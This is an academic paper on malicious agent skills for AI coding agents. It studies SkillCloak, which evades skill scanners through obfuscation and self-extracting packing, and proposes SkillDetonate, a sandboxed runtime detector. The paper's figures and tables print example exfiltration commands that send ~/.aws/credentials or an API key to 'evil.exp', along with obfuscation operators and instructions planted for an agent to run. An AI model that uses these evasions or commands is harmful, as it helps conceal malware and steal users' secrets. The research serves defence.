arXiv CSopen access

Cloak and Detonate: Scanner Evasion and Dynamic Detection of Agent Skill Malware

Cloak and Detonate: Scanner Evasion and Dynamic Detection of Agent Skill Malware Zimo Ji1 , Congying Xu1,2,* , Zongjie Li1 , Yudong Gao1 , Xin Wei1 , Shuai Wang1,* , Shing-Chi Cheung1,2

arXiv:2607.02357v1 [cs.CR] 2 Jul 2026

1

Hong Kong University of Science and Technology 2 Guangzhou HKUST Fok Ying Tung Research Institute, China {zjiag, zligo, shuaiw, scc}@cse.ust.hk, {congying.xu, ygaodj, xweiba}@connect.ust.hk * Corresponding authors

skill marketplaces growing rapidly [6], [7]. The scale of this ecosystem is already substantial: within months of the open standard being introduced in late 2025, a single marketplace had accumulated over 40,000 publicly listed skills [8], the overwhelming majority of which are community-contributed and unvetted. This extensibility, however, introduces a new software supply-chain risk. Once installed, a skill is interpreted and executed by an agent that may have access to the developer’s workspace, local files, credentials, package managers, terminals, and external services. A malicious skill can therefore abuse these inherited privileges to perform security-sensitive actions, including credential theft, source-code exfiltration, backdoor installation, and destructive file operations. For instance, the recent ClawHavoc campaign planted over 300 malicious skills on a single public marketplace, whose SKILL.md files instructed the agent to fetch and run an information stealer under the guise of an installation prerequisite, silently harvesting the victim’s browser credentials, keychain passwords, SSH keys, and cryptocurrency wallets [9]. The attack surface is particularly broad, and the malicious payload can be embedded in the natural-language instructions of SKILL.md, or hidden in bundled scripts or resources. A range of malicious behaviors have already been observed in published skills, including credential theft [10], [9], data exfiltration [11], [12], and backdoor deployment [13]. Problem. To mitigate these risks, recent efforts have proposed skill scanners that audit third-party skills before installation [14], [15], [16]. They are designed to recognize suspicious patterns in the skill’s visible files, using static rules, LLM-based I. I NTRODUCTION judgments, or their combination. However, it remains unclear LLM agents are rapidly moving from demonstrations to real- whether such static auditing mechanisms can withstand adaptive world deployment across domains, including software engineer- evasion. An adversarial skill author is not constrained to expose ing (e.g., “vibe coding” assistants [1]), cybersecurity [2], and the malicious payload in the form expected by the scanner; the autonomous driving [3]. A key enabler of this transition is the payload can be rewritten, relocated, or or staging the payload emergence of Agent Skills: modular packages that allow agents until runtime. This raises a fundamental question: To what such as Claude Code [4] and OpenAI Codex [5] to acquire extent can current skill auditing mechanisms detect malicious new capabilities on demand. A skill is typically distributed as skills under semantics-preserving evasive transformations? a structured directory containing natural-language instructions As Figure 1 illustrates, static scanners flag a malicious skill, (e.g., SKILL.md), executable scripts or code blocks, and but S KILL C LOAK rewrites it into a variant they clear as safe, auxiliary resources that an agent can load and invoke during task whereas S KILL D ETONATE detects both the original and cloaked execution [6]. Because skills are model-agnostic, composable, skills by auditing their runtime behavior. and shareable as ordinary files, they are increasingly becoming Adversarial Study. To address this problem, we first conduct a unit of capability distribution for agentic systems, with public an adversarial study on eight representative skill scanners and Abstract—LLM coding agents increasingly rely on third-party agent skills from public marketplaces, which execute with the agent’s privileges and create a software supply-chain attack surface: a malicious skill can steal credentials, exfiltrate source code, or install backdoors. Existing defenses use static skill scanners based on pattern matching or LLM-as-judge analysis, but it remains unclear whether they withstand adaptive evasions that preserve malicious behavior while changing payload appearance. This paper first presents an adversarial study of existing skill scanners through S KILL C LOAK, a payload-preserving evasion framework that keeps the attack semantics intact while transforming their visible form. S KILL C LOAK uses two complementary strategies: Structural Obfuscation, which rewrites visible payload indicators into semantically equivalent forms, and Self-Extracting Skill (SFS) Packing, which hides malicious components from the install-time view and restores them during agent execution. Across eight scanners and 1,613 in-the-wild malicious skills, SFS Packing bypasses every scanner at over 90%, while Structural Obfuscation bypasses over 80% on most static scanners and reaches 96% on a hybrid scanner, showing that appearance-based auditing is insufficient. Motivated by this finding, we propose S KILL D ETONATE, a behavior-centric runtime auditor that executes skills in a sandbox and detects malicious effects through OS-boundary information-flow evidence rather than install-time appearance. S KILL D ETONATE combines on-demand closure lift, which observes instructions materialized during execution, with markerbased taint analysis, which tracks sensitive-data flows across the agent context, files, processes, and network operations. The results show that S KILL D ETONATE detects 97% of attacks at a 2% false-positive rate and sustains 87% detection on real-world malicious skills. Index Terms—LLM agents, agent skills, software supply chain, dynamic analysis, information-flow tracking, evasion attacks

Input Skill

Auditing Methods

Auditing Results Malicious

Malicious Skill

Existing Scanners

Adversarial Study: Safe

Malicious Skill

Evading via SkillCloak

Existing Scanners

Behavior-Centric Auditor: Malicious

(Cloaked) Malicious Skill

Runtime Auditing via SkillDetonate

Fig. 1: Overview of S KILL C LOAK and S KILL D ETONATE. two production agents (Codex and Claude Code) with 1,613 inthe-wild malicious skills. We propose S KILL C LOAK, a payloadpreserving evasion framework that adaptively transforms malicious skills while preserving their malicious behavior. S KILL C LOAK operates on two complementary strategies (Section III). 1) Structural Obfuscation rewrites concrete payload indicators (e.g., malicious instructions, shell commands, URLs, and credential-related strings) into semantically equivalent forms that evade static rules and LLM-based judgments. This strategy perturbs the skill’s structure minimally, making it stealthy with strong bypass effectiveness. 2) Self-Extracting Skill Packing (SFS Packing) hides malicious instructions or scripts outside the scanner’s observable scope (e.g., ignored directories or encoded resource blobs) and restores them at execution time. This strategy alters the skill’s structure substantially, but achieves nearcomplete bypass effectiveness. We collected 1,613 in-the-wild malicious skills from the ClawHub skills archive [17], and employ S KILL C LOAK to generate evasion skills for adversarial evaluation. The results show that 1) existing skill scanners are highly vulnerable to semanticspreserving evasions: with SFS Packing, over 90% of evasion skills bypass all scanners, while Structural Obfuscation bypasses over 80% on most static scanners and up to 96% on a hybrid scanner. 2) S KILL C LOAK generates payload-preserving evasion skills that stay functional: across both Codex and Claude Code, cloaking causes no statistically detectable loss in skill utility. These findings show the limits of existing static skill auditing against evasive malware and motivate the need of behaviorcentric defense. Behavior-Centric Auditor. To meet this need, we propose S KILL D ETONATE, a behavior-centric runtime auditor for agent skills. The key insight is that evasion can alter how a payload is written, packaged, or staged, but they must produce observable behaviors and effects to achieve a malicious objective. S KILL D ETONATE therefore executes a suspicious

skill in a controlled sandbox and monitors the security-relevant effects it produces during agent execution. To achieve this, S KILL D ETONATE introduces two novel designs. 1) On-Demand Closure Lift captures and executes the naturallanguage instructions a skill materializes at runtime, feeding them back into the agent’s session. This mitigates the path-coverage gaps typically exploited by multi-stage malware. 2) Marker-Based Taint Analysis tracks information flow across the two media a syscall monitor cannot natively follow. Data markers, planted at sensitive reads intercepted through a FUSE virtual filesystem, carry provenance through the agent’s natural-language context; and inodelevel reconstruction of the eBPF syscall graph recovers that same flow across opaque cross-process byte transforms. We evaluated S KILL D ETONATE on SkillJect [18], a benchmark of 150 malicious skills that inject prompt-injection payloads into skill-enabled agents. The results show that S KILL D ETONATE can successfully detect 97% of malicious skills at a 2% false-positive rate, 31% more than the best static scanner and 62% more than a naive OpenCode based agent detector. On real-world malicious skills from MalSkillBench [19], S KILL D ETONATE sustains 87% detection and stays stable under S KILL C LOAK, whereas the best static scanner collapses from 99% to 10% under Structural Obfuscation. In this paper, we make the following contributions. • To the best of our knowledge, we are the first to evaluate existing skill auditing mechanisms against adaptive semantics-preserving evasion. The results show that existing auditing mechanisms are highly vulnerable to semantics-preserving evasions. • We propose S KILL C LOAK , a skill evasion framework to transforms malicious skills while preserving the payload via two complementary strategy (Structural Obfuscation and Self-Extracting Skill Packing). • We propose S KILL D ETONATE , a behavior-centric runtime auditor for agent skills to detect malicious skills by observing security-relevant effects during agent execution with two novel designs (On-Demand Closure Lift and Marker-Based Taint Analysis). • We conduct extensive experiments to evaluate theeffectiveness of S KILL D ETONATE. We make S KILL C LOAK, S KILL D ETONATE and the experimental datasets publicly available. The artifact is available at https://anonymous. 4open.science/r/Skill_Cloak_Detonate-346C. II. BACKGROUND AND G OAL A. Malicious Agent Skills. An agent skill is a structured directory bundle containing natural-language instructions, executable components, and auxiliary resources that a host agent discovers by name and loads into its context to gain a capability [6]. These contents are typically organized as a SKILL.md instruction file, optional scripts/ or code blocks, and optional references/ or

TABLE I: Overview of the nine surveyed skill scanners. Par.: S=static, H=hybrid, J=LLM-judge. Blind-dir / Blind-file: a directory / file the scanner never reads. Scanner

Par. Pattern

Blind-dir Blind-file

Huifer [22] Caterpillar [28] Headyzhang [26] Vigile [23] Qualixar [24] Pors [25] Cisco [29] Nova [30]

S H S S S S H H

regex regex+LLM AST regex AST SAST YARA+LLM sem+LLM

build/ .git/ .git/ .git/ .git/ .git/ docs/

∈ / {.md,.py,...} ∈ / {.md,.py,...} ∈ / {.py,.ts,...} ̸= SKILL.md ̸= SKILL.md ∈ / {.md,.sh,...} binary ∈ / {.md,.txt,...}

Patidarganesh [27]

J

LLM

.git/

∈ / {.md,.py,...}

C. Threat Model. Definition 1 (Skill Malware). A skill is malware if it satisfies two conditions: (i) maliciousness: the bundle embeds attacker intent, so that its faithful execution by a host agent produces attacker-intended effects (e.g., credential exfiltration, backdoor installation, or destructive file operations), however benign the bundle may appear at rest; and (ii) self-containment: the behavior is realized entirely by the bundle’s own contents under the agent’s faithful-execution contract (the agent follows markdown links, runs scripts/*, and sources shell fragments as instructed), without relying on a separately compromised runtime.

Adversary Model. We assume a white-box attacker who publishes such a skill to a marketplace. The attacker has data files. Because the agent-loaded context is treated as trusted unbounded computational resources and can read the target instructions and its scripts run with the agent’s privileges, a scanner’s rules, prompts, and whitelists (all are open-source), poisoned bundle is a direct vehicle for malicious behavior on but cannot directly manipulate the victim’s agent runtime: a coding agent [19], [13]. the only lever is the bundle shipped before installation. Any Moreover, the adversary need not concentrate the payload in transformation the attacker applies must be payload-preserving, one place: a natural-language directive in SKILL.md instructs i.e. it must leave the malicious semantics of Definition 1 intact. the agent to run a bundled script, while the script itself carries Concretely, it must preserve the skill’s payload markers: a fixed the exfiltration logic, so the malicious intent is split across set of byte markers (domains, paths, command fragments) that the two media a skill ships. Despite this exposed surface, encode the malicious behavior and must remain reachable under offensive research on skills remains thin and largely benchmark- the faithful-execution contract. or template-level: existing work measures how often agents Defender Model. The defender, conversely, controls the installfollow injected instructions, or supplies hand-written poisoned time auditor or the execution sandbox. This is the standard templates [18], [20], [21]. supply-chain setting: trust must be decided before a third-party What is missing is a systematic, software-and-systems bundle is allowed to drive a trusted agent. account of how an adversary can engineer a skill to defeat the Goal. Given this threat model, our goal is twofold: to expose the deployed defenses while keeping its payload intact. S KILL - weaknesses of deployed skill auditing under payload-preserving C LOAK (Section III) fills this gap. evasion, and to design a stronger auditing framework that withstands it. B. Agent Skill Auditing. The defensive response has centered on skill scanners: tools that vet a bundle at install time and emit a block/allow verdict for continuous integration (CI) gating. We surveyed nine representative scanners (Table I). Most reduce to two mechanisms, often combined. Static pattern matching applies regex, YARA, or AST rules over the file tree: Huifer [22] and Vigile [23] run regex rulebooks (a YAML rule set and 59 TypeScript patterns), Qualixar [24] infers a skill’s capabilities by AST and flags those exceeding its declared permissions, Pors [25] orchestrates off-the-shelf tools (shellcheck, trufflehog, and semgrep), and Headyzhang [26] adds tool-boundary AST taint tracking; none of these four invoke a model. LLM-asjudge instead serializes the bundle into a prompt and asks a model for a verdict, as in Patidarganesh [27], which dumps the readable files against a fixed threat checklist. The rest combine the two: Caterpillar [28] and Cisco [29] run static rules (regex, YARA signatures, and dataflow taint) and then gate the result through an optional LLM stage, while Nova [30] stacks keyword, semantic, and LLM matching. The first two columns of Table I summarize each scanner and its matching pattern.

III. A DVERSARIAL S TUDY OF E VADING S KILL AUDITS This section conducts an adversarial study of evading skillauditing mechanisms by answering the following research questions (RQs). • RQ1 Bypass Effectiveness: How vulnerable are existing skill-auditing mechanisms to payload-preserving evasions? • RQ2 Utility Preservation: Do cloaked skills remain functional when executed by production agents (Claude Code and OpenAI Codex)? To answer these RQs, we need payload-preserving evasions rather than ad hoc manual rewrites. We propose S KILL C LOAK, a payload-preserving evasion framework that adaptively transforms malicious skills while preserving their runtime behavior (i.e., payload). A. Motivation The surveyed scanner (Section II-B, Table I) reveals two major gaps between what a scanner inspects and what an agent executes, which inspires the design of S KILL C LOAK. • Surface-form Gap: Static matching is incomplete by construction. A regex, YARA, or AST rule keys on a finite set of literal byte signatures, while an LLM judge sees only a

agent-memory scripts/ env-check.sh

NET 001, regex(curl\s+.*http)

❶ Rule Extraction

SKILL.md env-check.sh curl -s https://evil.exp -d @~/.aws/credentials env-check.sh

Re-scan

Findings

REIFY DISPERSE

❷ Obfuscation README.md ./git/WORKFLOW.md

_c=cu’’rl;_p=~/.aws/cre’’dentials $_c -s https://evil.exp -d @$_p

❸ Offloading

Obfuscated Skill Malware

Structural Obfuscation

Fig. 2: Overview of the Structural Obfuscation workflow.

Algorithm 1: S TRUCTURAL O BFUSCATE(S, Σ, M ) Input: skill S; scanner Σ; payload markers M Output: cloaked skill S ′ that Σ passes, with M preserved ′ 1 R ← E XTRACT RULES (Σ); S ← S; V ← ∅ 2 for step ← 1 to MaxSteps do 3 F ← {f ∈ S CAN(Σ, S ′ ) : sev(f ) ̸= INFO, ¬I S LLM(f ), f ∈ / V} 4 if F = ∅ then break 5 f ← first(F ); ρ ← L OOKUP(R, f ) 6 if ¬ TryOps(SelectPrimary(ρ), f , S ′ , M , |F |) then V ← V ∪ {f } S ′ ← O FFLOAD(S ′ , Σ) return S ′ 9 Function SelectPrimary(ρ): 10 if ρ keys on position or structure, not a token then return [D ISPERSE] 11 return [R EIFY, D ISPERSE] // least-intrusive first 7 8

Function TryOps(ops, f, S ′ , M, n0 ): foreach operator family m ∈ ops do 14 op ← m(ρ, f ) 15 if op = ⊥ ∨ ¬S AFE(op, R) then continue 16 A PPLY(op, S ′ ) 17 if M ARKERS(S ′ ) ̸⊇ M then ROLLBACK(); continue 18 if |S CAN(Σ, S ′ )| < n0 then return true 19 ROLLBACK()

12

prompt assembled from the readable surface of the bundle. A payload-preserving rewrite can therefore change suspicious command tokens, credential paths, URLs, or instruction phrasing while leaving the agent’s runtime behavior unchanged [31]. This motivates Structural Obfuscation: rewrite or disperse the signals a scanner recognizes, while preserving the payload markers needed for the malicious behavior to fire. • Context Gap: Deployed scanners also omit parts of the bundle to bound cost and false positives. As Table I shows, every surveyed scanner has some blind-spot directory, file type, binary blob, or bounded prompt context that it does not inspect. An adaptive skill can move the payload outside that projection and restore it only when the agent runs the skill. This motivates Self-Extracting Skill (SFS) Packing: replace the visible bundle with a benign cover and a decoder that rematerializes the original workflow at runtime.

13

20

return false

exactly two ways to silence it: change the matched bytes, or separate them so they no longer co-occur. For instance, Huifer’s NET001 matches curl and http on a single line; splitting them across a newline already removes them from its scope, and the rule goes quiet. ② Obfuscation. The two ways to silence a rule, changing its matched bytes or separating them, correspond to two operator families (Table II), each closing one coverage gap of pattern matching. R EIFY closes the token-level gap: it rewrites the B. Evasion Design bytes a rule keys on so the scanner no longer matches them, S KILL C LOAK takes as input a malicious skill, and outputs while the agent’s resolver restores the original at runtime. evasive variants through two complementary strategies, Struc- D ISPERSE closes the structural gap: it leaves the bytes intact tural Obfuscation and SFS Packing. Both strategies preserve but relocates them across the rule’s scope boundary, so its the payload markers required for the malicious behavior to signals no longer co-occur. Treating the scanner as an oracle, remain reachable during agent execution. a counterexample-guided loop repeatedly rescans the bundle, The design principle of S KILL C LOAK is to clear a scanner takes the first unresolved finding, and discharges it with the with the smallest edit that preserves the payload. It discharges least intrusive applicable operator, escalating only when a each finding with the least-intrusive operator that works and lighter edit leaves the finding standing. An edit is kept only if escalates only when a lighter one fails, keeping the cloaked it preserves the payload markers M (the byte patterns, such skill readable and functional as well as stealthy. as the exfiltration destination or credential path, that must 1) Structural Obfuscation: Structural Obfuscation targets survive for the attack to fire) and strictly reduces the finding scanners that judge a skill by its visible contents. The goal is count; otherwise it is rolled back. Because every retained edit to silence every finding with the smallest payload-preserving is rechecked against the live scanner, the terminal zero-finding edit, so that the bundle the scanner inspects looks clean while state is an observed bypass, not a predicted one. the bundle the agent executes is unchanged. It proceeds in ③ Offloading. A bundle with zero static findings can still face three steps (Algorithm 1). an LLM judge that reads SKILL.md. Rather than attack the ① Rule Extraction. To remove a finding precisely, we first judge itself, which any prompt or model change would defeat, need to know what triggered it. Since the scanners are open- we exploit its limited reading scope: the residual SKILL.md source (Section II), a one-time white-box pass distills each prose is moved behind a benign cover link, so a judge that rule into its signals (the pattern it matches) and its scope (the reads only SKILL.md sees nothing malicious. region it inspects, e.g., a line, a file, or a directory). A rule fires 2) SFS Packing: When Structural Obfuscation leaves a only when its signals co-occur within its scope, which exposes finding that cannot be edited away, SFS Packing removes the

TABLE II: Overview of the Structural Obfuscation operators (<zw>: a zero-width codepoint). Family

Operator

Operation

Example (x → y)

R EIFY

zero-width confusable case-flip synonym getattr/chr var-splice cmd-sub

insert a <zw> char in the matched span (any text) swap a glyph for a Unicode homoglyph (any text) flip one letter’s case (case-sensitive rules) substitute an equivalent token rewrite a Python call via getattr/chr assemble a shell keyword from fragments rewrite a whole command chain

eval → e<zw>val curl → curl (Latin c → Cyrillic homoglyph) eval → Eval curl → wget -qOos.system → getattr(os,’sys’+’tem’) curl → $_c, _c=’cu’+’rl’ curl|bash → wget -qO- u>$f; bash $f

D ISPERSE

per-line per-file dir-move ext-rename conj-split size-pad

split a co-located atom over a newline extract an atom to a helper, then source/import move the whole file into a skipped directory rename the file off the extension whitelist move one required conjunct to another file pad the file past the scanner’s size cap

eval(x) → ev ←- al(x) inline cmd → source _int/h.sh scripts/x.sh → build/x.sh x.sh → x.txt A..B (1 file) → A | B file → file+<pad>

agent-memory scripts/

curl ...

Skill Malware

setup.py

.git/

skillpack.dat SKILL.md SKILL.md

❶ Construction

run scripts/setup.py and follow unpacked WORKFLOW.md

❷ LLM-based Refining

Packed Skill Malware

SFS Packing

Fig. 3: Overview of the SFS Packing workflow.

jailbreak. A worked example. Figures 2 and 3 make both transforms concrete on a credential-exfiltration skill from our dataset that ships a one-line inducement in SKILL.md plus an api_helper.sh reading ˜/.aws/credentials and POSTing them to an external host. The baseline scan raises a CRITICAL on the curl ... http signature and a HIGH on the credential path. Structural Obfuscation rewrites the flagged bytes in place, splicing the command verb through a shell variable and reassembling the path from fragments (both reversed by the agent at runtime), then offloads the residual body into .git/ behind a plain-prose cover the scanner’s link extractor does not follow; the post-scan tree is clean but semantically identical. SFS Packing discards the surface entirely: the scanner sees only a benign cover and a stdlib decoder, while the whole original skill rides along XORencrypted in .git/skillpack.dat and is rematerialized at first run. Both preserve every payload marker, so the exfiltration still fires when the agent runs the skill, which is exactly what S KILL D ETONATE (Section IV) detects and these scanners cannot.

payload from the scanner’s view entirely. It is the skill-level analogue of self-extracting (SFX) packing in binary malware: a packer seals the real payload inside a self-extracting archive that unpacks at runtime, so a static scan sees only a benign stub and an opaque blob, never the malicious code. The same idea applies here, except the unpacking is driven by the agent executing the skill rather than by a self-executing binary. ① Construction. SFS Packing replaces the skill with a benign C. RQ1: Bypass Effectiveness cover and the packed original. A benign SKILL.md cover RQ1 evaluates existing skill-auditing mechanisms against instructs the agent to run a small decoder script and links to the payload-preserving evasions generated by S KILL C LOAK. WORKFLOW.md that decoding will produce; the entire original Setup. We study nine recent scanners that are delopyed and skill is archived into a blind-spot directory the scanner does not runable (Table I) on in-the-wild malice. The dataset consists of inspect (the Blind-dir and Blind-file columns of Table I), with 1,613 malicious skills from the OpenClaw marketplace [17], its SKILL.md renamed to WORKFLOW.md. At install time covering several categories of malicious behavior, including the scanner sees only the cover and the decoder and passes; exfiltration, credential theft, dropper execution, and prompt at first run the agent executes the decoder, rematerializes the injection; the corpus is now available as an archived snapshot.1 original skill, and follows the cover’s link to the restored The static and hybrid-static scanners run on the full dataset; WORKFLOW.md. Because the cover is generated independently the two LLM-judge scanners (Cisco, Nova) run on a randomly of the payload, SFS Packing is strictly stronger against LLM sampled 100-skill subset, as their scans are computationally judges than Structural Obfuscation, but it perturbs the skill expensive. The dataset is built by materializing skills against structure far more, replacing the whole tree rather than editing published threat-intelligence IOC lists (malicious publishers, it in place. name patterns, and file hashes from vendor campaign reports ② LLM-based Refining. A judge may still flag a cover that such as ClawHavoc), so every sample is one an existing detector looks suspiciously contentless. We resolve this by rewriting already flags. This is the right fixture for a bypass measurement: the cover with an LLM into a plausible, plain-narrative skill until the judge clears, targeting the specific finding rather than 1 https://web.archive.org/web/20260406111320/https://github.com/ the judge’s prompt, so the bypass does not depend on a fixed openclaw/skills

g fer illar ha n H ui e rp dyz Cat Hea

ile Vig

Q ua

r lixa

s Por

0.0

48.1

90.1

(Claude Code and OpenAI Codex).

0.0

0.0

0.0

0.2

0.2

25.0

96.0

100.0

VulMask

99.8

90.2

99.8

91.1

99.8

SFS Packing

67.7

99.8

80.5

99.8

96.6

96.5

89.9

100 80 60 40 20 0

0.0

Bypass rate (%)

Structural Obfuscation

co Cis

N ov

a

Fig. 4: Results of S KILL C LOAK’s per-scanner bypass rate. our metric is relative to a baseline detection, so a dataset where every skill carries a real, independently confirmed finding gives each attack a genuine signal to nullify, and using real rather than synthetic skills shows the attack is already actionable on what a marketplace would receive. Metrics. We report two quantities over the skills that each scanner flags before any evasion is applied. • Bypass rate k/n is the fraction driven to a passing verdict with the payload markers preserved: zero nonINFO findings for static scanners, zero HIGH+CRITICAL findings for LLM judges (the realistic install-blocking policy). • Finding reduction is the drop in actionable finding count, which exposes progress even where strict bypass is incomplete. Figure 4 reports per-scanner bypass rate and Table III the finding reduction. Results. SFS Packing reaches ≥ 96% bypass on every static and hybrid-static scanner (≥ 99.8% on five of six) and ≥ 90% on both LLM judges; Structural Obfuscation exceeds 80% on five static scanners and 96% on Cisco. For the two S KILL C LOAK transforms, finding counts collapse by 80–99.9% across the board (Table III), so even where Structural Obfuscation falls short on strict bypass (Vigile 67.7%, Headyzhang 80.5%) the residual is concentrated in a few hard skills rather than spread uniformly. SFS Packing’s edge is structural: its cover is generated independently of the payload, so a judge-side attack cannot reconnect cover to intent; Nova is its weakest target (90.1%) only because its engine matches semantic similarity to the cover seed rather than literal bytes. The bypass is thus not a tuning bug of any one tool but a property of the paradigm: every scanner reads a strict subset of the tree and of file types, exactly the two coverage gaps of Section III-A. As a reference point, the prior VulMask [32] attack reduces findings on no scanner (Table III), confirming that S KILL C LOAK’s near-total bypass is out of reach for existing evasions. Answer to RQ1: Deployed skill-auditing mechanisms are highly vulnerable to payload-preserving evasions. SFS Packing bypasses every surveyed scanner at ≥ 90%, while Structural Obfuscation substantially reduces actionable findings and exceeds 80% bypass on most static scanners.

D. RQ2: Utility Preservation RQ2 evaluates whether evasive transformations preserve the practical utility of a skill when executed by production agents

Setup. We run SkillsBench [33], a recently proposed benchmark for evaluating agent-skill utility, comprising 87 docker-based agentic tasks each requiring several skills to complete, on three variants (raw, SFS Packing, Structural Obfuscation) with two production agents to rule out a singlemodel artifact: GPT-5.4 via OpenAI Codex and Claude Sonnet 4.6 via Claude Code, both at low reasoning effort, excluding tasks with infrastructure failures in any variant. Metrics. We use three metrics (Table IV). Reward is the mean oracle pass/fail score over the task suite, i.e., the task success rate. ∆reward is the paired difference in reward between a cloaked variant and its raw counterpart, capturing any utility change the transform induces. Trajectory cosine is the embedding cosine similarity between the agent’s whole execution trajectory on a cloaked variant and on raw; a higher value means the agent’s execution path is better preserved. Results. The conclusion replicates across both agents: every paired ∆reward is within bootstrap noise, so neither transform produces a statistically detectable reward change. On GPT5.4 ∆reward is +0.029 (SFS Packing) and +0.009 (Structural Obfuscation); on Claude Sonnet 4.6 it is +0.042 (SFS Packing) and +0.104 (Structural Obfuscation), with whole-trajectory embedding cosine (text-embedding-3-large vs. raw) of 0.88– 0.90 across both agents (Table IV), so the agent’s execution path is essentially unchanged. We claim no detectable degradation rather than strict preservation, but the direction is consistent: cloaking is not inert, and when the agent consumes the cloaked material (e.g. runs setup.py or follows the Seelink) the pass rate if anything rises (Structural Obfuscation even trends positive on Claude Code). That the result holds across two independent harnesses and model families confirms the attack is not tuned to one agent. Static scanning alone is insufficient under current deployed designs, motivating the dynamic approach of Section IV. Answer to RQ2: Cloaked skills remain functional under production agents. Structural Obfuscation and SFS Packing cause no statistically detectable utility degradation, and their execution trajectories remain highly similar to the raw skills.

Findings and Implications. RQ1 and RQ2 give the empirical answer to the study question. Existing skill audits are highly bypassable under payload-preserving transformations, and those transformations do not destroy the utility that makes the skill usable by production agents. This combination is the important result: static audits can be fooled precisely in the setting where the malicious skill remains operational. The implication is defensive. If malicious authors can make bytes and packaging misleading while preserving runtime behavior, then a trust gate cannot rely only on install-time appearance. It must inspect the effects a skill produces when it actually runs. Section IV develops this behavior-centric direction with S KILL D ETONATE.

TABLE III: Results of S KILL C LOAK against skill scanners, with VulMask [32] included as a evasion baseline. Scanner

Structural Obfuscation

SFS Packing

VulMask

Huifer [22] Caterpillar [28] Headyzhang [26] Vigile [23] Qualixar [24] Pors [25]

22,377→822 (−96.3%) 1,873→54 (−97.1%) 1,793→299 (−83.3%) 2,928→469 (−84.0%) 7,941→129 (−98.4%) 1,096→208 (−81.0%)

22,377→46 (−99.8%) 1,873→4 (−99.8%) 1,779→2 (−99.9%) 2,928→2 (−99.9%) 7,941→4 (−99.9%) 1,096→2 (−99.8%)

22,377→24,247 (+8.4%) 1,873→1,961 (+4.7%) 1,779→1,851 (+4.0%) 2,928→2,928 (0.0%) 7,941→7,941 (0.0%) 1,096→1,096 (0.0%)

Cisco [29] Nova [30]

44→5 (−88.6%) 290→157 (−45.9%)

26→1 (−96.2%) 290→10 (−96.6%)

27→47 (+74.1%) 290→301 (+3.8%)

TABLE IV: Results of S KILL C LOAK’s utility evaluation on the SkillsBench benchmark.

WORKFLOW.md Read API KEY, then send via setup.sh.

Agent

Variant

Reward

∆

Traj-cos

GPT-5.4 OpenAI Codex

raw SFS Packing Structural Obfuscation

0.526 0.555 0.535

+0.029 +0.009

0.896 0.901

Sonnet 4.6 Claude Code

raw SFS Packing Structural Obfuscation

0.517 0.559 0.620

+0.042 +0.104

0.876 0.881

Cloaked Malious Skill

setup.sh cu’’rl -s https://evil.exp -d "$1"

Just follow the instructions in WORKFLOW.md...

API KEY

READ(API KEY) -> #data1

IV. S KILL D ETONATE : D ETONATING S KILL M ALWARE A. Motivation

> bash setup.sh #data1

Closure Lift

#data1

curl

Taint Analysis

The above adversial study (Section III) shows that existing § IV SkillDetonate CRITICAL :Data Exfiltration skill-auditing mechanisms are vulnerable to payload-preserving evasions. The limitation is fundamental to all static auditing. Fig. 5: Overview of S KILL D ETONATE. Our defensive insight is therefore to shift from what a skill looks like to what it does. A malicious skill can cloak its surface, context and opaque cross-process byte transforms, both but a successful attack must still produce effects: credential judged by two information-flow policies at the OS theft must read sensitive data and send it to an endpoint, a boundary. dropper must create or execute a payload, and a destructive skill must write outside an authorized scope. These effects B. Behavior-Centric Auditor: S KILL D ETONATE surface at the OS boundary even when the bundle that caused S KILL D ETONATE takes a suspicious skill as input and them looks benign. outputs a malicious or safe verdict. Its guiding principle is Behavior-centric auditing for skills is not a direct transplant to decide from what a skill does rather than what it looks of ordinary malware detonation, because skills execute through like: S KILL D ETONATE runs the skill in a single sandboxed an agent. Two technical challenges follow. First, the instruction agent session and observes only the OS level syscalls, so the stream is not fixed at install time: packed or staged skills verdict is driven by the syscalls the skill actually produces. can materialize new natural-language instructions only after On top of this behavioral observation, S KILL D ETONATE adds the agent runs a decoder. Second, the malicious dataflow may two components that make it work for agent skills: an Oncross media that a syscall monitor does not natively understand, Demand Closure Lift that also executes the instructions a skill including the agent’s natural-language context and opaque materializes only at runtime (§IV-B1), and a Data-marker Taint cross-process byte transforms. This section asks what it takes Analysis that follows sensitive data across the agent’s naturalto detonate agent skills under these constraints and answers language context and opaque cross-process transforms and with S KILL D ETONATE, a dynamic detector that executes a skill checks it against two information-flow policies, confidentiality in a sandbox and decides from OS-boundary information-flow and integrity (§IV-B2). evidence, not from the agent’s own judgement. Figure 5 shows 1) Skill Closure and On-Demand Lift: The first design the design and its two load-bearing novelties: choice is the unit S KILL D ETONATE executes. It is not the • On-demand lift of a skill’s runtime closure, so instructions shipped bundle alone, because a skill can create additional the skill materializes only at runtime are still executed files that later become part of its own execution. We therefore and observed, and define the monitored unit as the skill’s runtime closure. • A data-marker taint analysis that tracks provenance through the two media a behavioral monitor normally Definition 2 (Skill Closure). For a skill rooted at directory r, cannot instrument, namely the agent’s natural-language its closure consists of the files delivered at install time under r

plus every file the skill materializes at runtime whose resolved path remains under r. S KILL D ETONATE tracks membership with FUSE inode lineage, so a file created in one subprocess and read in another is still recognized as the skill’s own. This definition exposes a coverage hole that a static reader misses: a skill can write its own next instructions. The canonical case is multi-stage SFS Packing (Section III), whose real SKILL.md does not exist at install time; a decoder reconstitutes it on first run, so any auditor that reads only the install-time tree never sees the malicious instructions and never triggers their syscalls. S KILL D ETONATE closes this with an on-demand lift: whenever a write inside the closure produces a file whose extension marks it a natural-language instruction artifact (e.g. .md), the FUSE layer flags it and the freshly materialized instructions are fed back into the same agent session for execution, exactly as if they had shipped in the bundle. Coverage thus follows the skill’s own dataflow rather than its install-time surface: an instruction the skill generates for itself is executed and observed exactly as one it shipped. This is the mechanism removed in the ablation that disables closure lift (Section V-B); without it, every payload that hides behind a decode or unpack step goes unread. 2) Symbolic Reads and Data-marker Taint: A FUSE layer mediates every access from the sandbox and answers according to the file’s role. An in-closure file, whether shipped or created at runtime, passes through faithfully. An out-of-closure sensitive file defined by the policy configuration (e.g. ˜/.ssh/*, *.env, . . . ) returns a fresh opaque data marker #dataN bound to SENSITIVE_FILE, while the real secret is never read. Anything else returns ENOENT. The data marker is a provenance label on the dataflow, not a fragile string, and S KILL D ETONATE propagates it on three planes:

